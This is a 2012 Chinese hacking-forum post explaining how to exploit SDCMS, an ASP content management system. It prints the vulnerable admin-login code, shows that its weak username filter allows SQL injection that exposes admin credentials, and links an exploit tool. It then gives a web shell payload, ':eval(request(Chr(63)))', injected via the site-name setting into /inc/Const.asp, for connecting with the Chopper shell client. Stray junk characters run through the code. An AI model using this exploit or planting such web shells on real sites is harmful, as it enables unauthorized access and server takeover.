找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3373|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
, a6 [$ t4 e7 s' r- P' b漏洞文件:后台目录/index.asp/ [# l, M' H4 P; _

& l/ y* r) d$ I, ZSub Check' k0 v* R) \3 [( k8 q# C
    Dim username,password,code,getcode,Rs9 |+ G/ s( |+ m% Y* J
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
1 u/ Q& H# G2 m, c' W( A    username=FilterText(Trim(Request.Form("username")),1)
) o4 n* y0 \! q( k' D7 F    password=FilterText(Trim(Request.Form("password")),1)1 y8 K1 v8 c/ t1 u
    code=Trim(Request.Form("yzm"))
7 C; F1 W# O6 I- I    getcode=Session("SDCMSCode")
3 f1 p+ J+ ]- u6 M    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died& g/ l" f5 w- s2 j# o% D
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
6 p/ H3 |9 k" ~4 E: X    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied! r1 {, d0 Y0 M3 ]
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
, X: l- r- ?9 {# X    IF username="" or password="" Then
2 e( u0 b% G( @& m5 ]8 S; e        Echo "用户名或密码不能为空"ied
4 F2 a- s9 S$ ~6 W( l# k5 [    Else
" P+ O# T: o, _8 P% j- T% I% [. X        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")6 m' \1 F& n! Q; Y2 r4 m
        IF Rs.Eof Then
4 I  D  z3 t( u/ p- s7 f            AddLog username,GetIp,"登录失败",1
7 {5 }7 `, V" f4 V- }' X$ J6 a            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"2 C: q, d- K+ K
        Else9 W  L' @. M( V) D' _5 u2 Z9 P
            Add_Cookies "sdcms_id",Rs(0): k9 i  I! |* h6 i/ T+ N/ H
            Add_Cookies "sdcms_name",username1 r+ p, O6 s! M+ w
            Add_Cookies "sdcms_pwd",Rs(2)
5 s$ u" T8 ~+ V8 r/ k            Add_Cookies "sdcms_admin",Rs(3)
/ H& U- q4 q# e- _, _2 I            Add_Cookies "sdcms_alllever",Rs(4)& N9 W# ~4 M* |' \7 i/ O
            Add_Cookies "sdcms_infolever",Rs(5)
; ]& i" ^& P  h5 j: S: h& d            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")! @# A5 u6 J: x, V; @7 L0 K
            AddLog username,GetIp,"登录成功",1
! q  V' m$ u8 Q" Q) s* j; j            '自动删除30天前的Log记录1 n+ W) E4 Z; x4 d/ q7 J& A
            IF Sdcms_DataType Then
$ M4 C; T8 V: v+ S5 g5 T4 ~                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
$ z2 C3 h  k! \! y            Else
3 F+ |8 D8 D# T3 D- g5 s                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
7 n$ Y1 e/ D# W& z) p1 `            End IF/ [' ?7 }4 ]' P( \2 X# ]$ ~+ ]
            Go("sdcms_index.asp")9 k$ R9 c% k' I5 X7 q, V' ~( C
        End IF9 x+ a/ f$ b  A# d, u/ G) X& B( b
        Rs.Close
; v; D5 c0 E, f9 ^        Set Rs=Nothing
; \. T# H( [% Z0 J6 p    End IF
* S* M8 Z4 K. F" e8 N4 u2 xEnd Sub* Z" {& ?" O% D" Y: O' k% i

" h% k- E( O4 v. [' J( A’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
5 _' z( w1 ^8 ]+ z! ?7 A0 v- E" U
Function FilterText(ByVal t0,ByVal t1)1 J" }& o7 P5 ^
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
1 g% {# K6 i. E5 y+ D. f    t0=Trim(t0)
) h; |3 o) {6 J% }8 }& ^  \    Select Case t1' q! b3 Y( x5 I1 R/ b& v" S3 U
        Case "1"
$ L  N9 d7 l1 W) g% l            t0=Replace(t0,Chr(32),"")
5 V5 m7 e' L6 d# b6 v: P            t0=Replace(t0,Chr(13),"")
: ^5 J; Z6 K# R, L# Z/ f            t0=Replace(t0,Chr(10)&Chr(10),"")2 c3 K2 l$ r3 N8 K
            t0=Replace(t0,Chr(10),"")
& C8 j1 G& z) J2 b        Case "2"' |5 o. D3 y3 R! ~. R
            t0=Replace(t0,Chr(8),"")'回格
; G& U) f/ n& B7 q( ]. |% m            t0=Replace(t0,Chr(9),"")'tab(水平制表符)" D8 H0 Z( `, j
            t0=Replace(t0,Chr(10),"")'换行% \+ Y5 L9 s# S
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)& _7 t; E  l! a0 ~6 r
            t0=Replace(t0,Chr(12),"")'换页2 |1 B% [" S) N: F
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
3 S, ~% W2 Y7 Z4 J& M6 P2 L            t0=Replace(t0,Chr(22),"")
" t, R5 y1 {- c1 y8 g8 `7 `4 F            t0=Replace(t0,Chr(32),"")'空格 SPACE
$ D; E8 b0 q& E0 h! t" Q- ?+ Y! `$ ?( m7 b            t0=Replace(t0,Chr(33),"")'!
# S! x3 Q3 S% m: `0 n            t0=Replace(t0,Chr(34),"")'"
( R$ r" s  H1 A            t0=Replace(t0,Chr(35),"")'#0 l& N% I5 s9 H! k" C
            t0=Replace(t0,Chr(36),"")'$
: O: N) E# g$ S& z. C( p0 L            t0=Replace(t0,Chr(37),"")'%  C7 w6 q+ `- R) D1 p. w) Z6 c
            t0=Replace(t0,Chr(38),"")'&/ L# }; P, U6 n
            t0=Replace(t0,Chr(39),"")''
! L0 A0 M0 k9 S6 a3 C+ Y* d            t0=Replace(t0,Chr(40),"")'(; [7 k4 Y: ^% X3 ?
            t0=Replace(t0,Chr(41),"")')
! a/ `  u" a0 b- W: L  c' l5 ~            t0=Replace(t0,Chr(42),"")'*! o0 {/ y" }' B0 c& G8 i8 a
            t0=Replace(t0,Chr(43),"")'+
; y' @' w' r7 Z/ u- G. S            t0=Replace(t0,Chr(44),"")',
" A5 M: Z) u' A1 a/ J* C/ E" p            t0=Replace(t0,Chr(45),"")'-! n6 f1 j& T% N$ x" i
            t0=Replace(t0,Chr(46),"")'.
4 I+ c4 r0 c, |. @3 T            t0=Replace(t0,Chr(47),"")'/
" Z# v. u" g5 x. b            t0=Replace(t0,Chr(58),"")':
4 V! c& ?- y! Z) V/ q/ p            t0=Replace(t0,Chr(59),"")';1 v0 _5 Z% C" }/ c: K" H3 s! D
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
. y# O* v- q7 `, o& [$ P            t0=Replace(t0,Chr(63),"")'?
1 C2 n+ i, @! l& l9 M' y$ t            t0=Replace(t0,Chr(64),"")'@
. W  n% ^$ ?6 w            t0=Replace(t0,Chr(91),"")'\% m; N* I$ Y. [' U, I
            t0=Replace(t0,Chr(92),"")'\
; h: I+ i& @! E, i/ k! L( c            t0=Replace(t0,Chr(93),"")']
1 _5 N5 i& y: ?* n, l* a# e- J$ y            t0=Replace(t0,Chr(94),"")'^
: C7 t+ f9 f( _            t0=Replace(t0,Chr(95),"")'_7 i5 P8 }8 l9 d+ R! V% x
            t0=Replace(t0,Chr(96),"")'`1 n; C2 }' A1 ]5 R! f  @8 j
            t0=Replace(t0,Chr(123),"")'{, q* Z. G+ v/ N' i' G$ _
            t0=Replace(t0,Chr(124),"")'|
! b2 l) o) e- z" L            t0=Replace(t0,Chr(125),"")'}
( w! M% Q) ?# A3 i3 V            t0=Replace(t0,Chr(126),"")'~
- D: f, s8 M1 }0 t7 J4 f! w* z    Case Else: c! i# [5 W) ]0 k
        t0=Replace(t0, "&", "&")
, z0 e+ D# Z" w( J# d" u7 Q6 @* d        t0=Replace(t0, "'", "'")
; F) |0 v' s7 r5 s+ W; f0 K3 w( g        t0=Replace(t0, """", """)
+ G( z( y. k3 P4 y- v5 T# s' c        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
6 @! M- L0 V, }% S6 X    End Select
3 h# k. D# [4 i9 U# F4 X' T. H    IF Instr(Lcase(t0),"expression")>0 Then
/ B$ f# m! E8 f  I) q9 ]2 j        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
9 j+ ]7 t6 H7 K- W* j& X    End If
0 B! W8 y7 @  Y    FilterText=t03 d* j2 J8 p( B
End Function1 ?$ y- t, C! A! o7 h2 p# f9 f4 Y* I
, j) n. ~/ k" H$ o  b
看到没。直接参数是1 只过滤# b7 T  i+ _5 b+ V: W% o
                        t0=Replace(t0,Chr(32)," ")* s, D( h5 u. O' Q1 x8 I. K
                        t0=Replace(t0,Chr(13),"")
+ C& ]; |+ ~7 G" ~4 e0 o; `                        t0=Replace(t0,Chr(10)&Chr(10),"
* [5 f& o5 ^" D: M# D, n")# \1 p9 o* P5 u) d; {/ M, F
                        t0=Replace(t0,Chr(10),"
  \, j, n0 f8 Q6 d. M: U# @; s& T")
! D' [( g# R8 I$ n6 S漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!- w# R- O' ^5 _5 z- F$ R/ y0 s
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
8 i1 @& w- T" C" m$ v9 L
6 y# N5 }8 U6 J0 D7 K% z( R测试:& Y* B7 q1 @4 ]7 M

" i2 X# t3 I: J$ [- m& r+ F: |$ e' g2 F; k0 h' W. Q* u
现在输入工具上验证码,然后点OK
/ ^4 C% J" M) L  Q4 J5 S, K$ p: f7 p  y' T$ V; E7 q

3 `8 s: I# x* g" w看到我们直接进入后台管理界面了,呵呵!+ e, x" G2 Q+ E* q3 c  a
, F& w6 U4 }0 ^6 k4 ~
2 S0 l) b) G: k; i' P  H

8 p6 ?, ]2 d" \0 B0 A2 _这样直接进入后台了。。。。
' U  S9 P/ V3 ?2 ]3 C
( ]2 b" `& g) a. ]& U7 ? 0 z& g6 h; z! y9 {7 i, H3 q3 J
1 b( f: ^( G: e. P' E; ^
SDCMS提权:5 i/ B! I/ L7 C) c# F
$ Q- A! O5 H. p& ~; s# p/ I! c
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
5 Y+ [# D9 _& z- E: Y+ |; N
) A' }. {3 g9 R9 q
) W- o$ ?9 d' h4 T
3 Q! N0 W3 z2 K2 E* d. ]OK,现在用菜刀连接下!
8 M1 w  F  D1 C# [& y" a
& y+ m2 J( O+ s1 D8 D& w" M3 O/ x
: z; L9 T) p; X& g' s8 y3 z7 i: F: a2 V2 w/ {2 f5 R
2 e) p* y0 G( y1 M, y8 L
4 R/ O  _5 J7 u( S$ C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表